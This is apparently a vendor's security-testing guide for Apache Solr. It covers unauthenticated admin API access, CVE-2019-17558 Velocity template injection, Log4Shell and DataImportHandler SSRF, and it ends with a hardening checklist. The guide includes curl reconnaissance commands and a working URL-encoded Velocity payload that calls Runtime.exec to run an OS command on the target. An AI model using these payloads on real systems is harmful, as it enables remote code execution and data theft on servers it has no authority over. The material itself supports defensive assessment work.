Apache Solr Security Testing: Unauthenticated Admin API, Velocity Template Injection RCE, and Log4Shell

Apache Solr is one of the most widely deployed enterprise search platforms, powering e-commerce search, document management, and data analytics for thousands of organizations. Its security profile has a long history of critical vulnerabilities: by default, Solr's Admin UI and REST API on port 8983 require no authentication — any network client can query all collections, browse indexed documents, and modify Solr configuration; CVE-2019-17558 allows remote code execution by enabling the VelocityResponseWriter plugin via the Config API and then injecting Velocity template expressions into query parameters; Apache Solr was one of the most severely impacted products by Log4Shell (CVE-2021-44228) due to its extensive use of Log4j2; the DataImportHandler (DIH) — a common Solr feature for importing data from databases and URLs — can be exploited for SSRF when an attacker can submit import commands; the backup and restore API can write files to arbitrary server paths when misused; and Solr's JMX monitoring port (18983) is often exposed without authentication, allowing MBean manipulation. This guide covers systematic Apache Solr security assessment.

Table of Contents

  1. Solr Discovery and Version Detection
  2. Unauthenticated Admin API and Data Access
  3. CVE-2019-17558 Velocity Template RCE
  4. Log4Shell Testing in Solr
  5. DataImportHandler SSRF
  6. Apache Solr Security Hardening

Solr Discovery and Version Detection

# Apache Solr default port: 8983
# Admin UI: http://solr.example.com:8983/solr/
# System info (no auth): http://solr.example.com:8983/solr/admin/info/system

# Get Solr version and system info (no auth required)
curl -s "http://solr.example.com:8983/solr/admin/info/system?wt=json" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
solr = data.get('lucene', {})
print(f\"Solr version: {solr.get('solr-spec-version','?')}\")
print(f\"Lucene version: {solr.get('lucene-spec-version','?')}\")
jvm = data.get('jvm', {})
print(f\"Java: {jvm.get('version','?')}\")
system = data.get('system', {})
print(f\"OS: {system.get('name','?')} {system.get('version','?')}\")
" 2>/dev/null

# List all collections (no auth required by default)
curl -s "http://solr.example.com:8983/solr/admin/collections?action=LIST&wt=json" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
collections = data.get('collections', [])
print(f'Collections: {len(collections)}')
for c in collections:
    print(f'  {c}')
" 2>/dev/null

CVE-2019-17558 Velocity Template RCE

# CVE-2019-17558: Two-stage attack
# Stage 1: Enable VelocityResponseWriter via Config API (requires Solr 5.0.0-8.3.1)
# Stage 2: Inject Velocity template in query parameter

# Stage 1: Enable VelocityResponseWriter on target collection
COLLECTION="gettingstarted"
curl -s -X POST \
  "http://solr.example.com:8983/solr/${COLLECTION}/config" \
  -H "Content-Type: application/json" \
  -d '{
    "update-queryresponsewriter": {
      "startup": "lazy",
      "name": "velocity",
      "class": "solr.VelocityResponseWriter",
      "template.base.dir": "",
      "solr.resource.loader.enabled": "true",
      "params.resource.loader.enabled": "true"
    }
  }' 2>/dev/null | python3 -m json.tool 2>/dev/null | head -5

# Stage 2: Execute command via Velocity template injection
# The template reads system properties and executes OS commands
# Detection payload (reads /etc/hostname safely):
curl -s "http://solr.example.com:8983/solr/${COLLECTION}/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3D%27%27)%23set(%24rt%3D%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr%3D%24x.class.forName(%27java.lang.Character%27))%23set(%24str%3D%24x.class.forName(%27java.lang.String%27))%23set(%24ex%3D%24rt.getRuntime().exec(%27cat%20%2Fetc%2Fhostname%27))%23set(%24bytes%3D%24ex.getInputStream().readAllBytes())%23set(%24result%3D%24str.valueOf(%24bytes))%24result" 2>/dev/null | head -20

Apache Solr Security Hardening

Apache Solr Security Hardening Checklist:
Security TestMethodRisk
Admin UI and REST API without authenticationGET /solr/admin/info/system — 200 with data means no auth configured; all collections queryableCritical
CVE-2019-17558 Velocity template RCEPOST Config API to enable VelocityResponseWriter, then inject template in query — arbitrary OS command executionCritical
Log4Shell (CVE-2021-44228) via Solr log parametersSend JNDI payload in query parameter or user-agent — Solr logs it via Log4j2 triggering outbound LDAP requestCritical
DataImportHandler SSRFPOST /solr/collection/dataimport with dataConfig containing internal URL — Solr makes outbound requestHigh
All indexed documents accessible without authGET /solr/collection/select?q=*:* — retrieves all indexed documents without authenticationHigh
JMX port 18983 unauthenticatedConnect with jconsole or jmxterm — full MBean access enabling configuration manipulation and heap dumpsHigh

Automate Apache Solr Security Testing

Ironimo tests Apache Solr deployments for unauthenticated Admin UI and REST API access on port 8983, CVE-2019-17558 Velocity template injection RCE via the Config API and VelocityResponseWriter, Log4Shell (CVE-2021-44228) vulnerability by detecting vulnerable Log4j2 versions in the Solr installation, DataImportHandler SSRF via crafted dataConfig with internal network URLs, full document collection access without authentication, and JMX monitoring port exposure without authentication.

Start free scan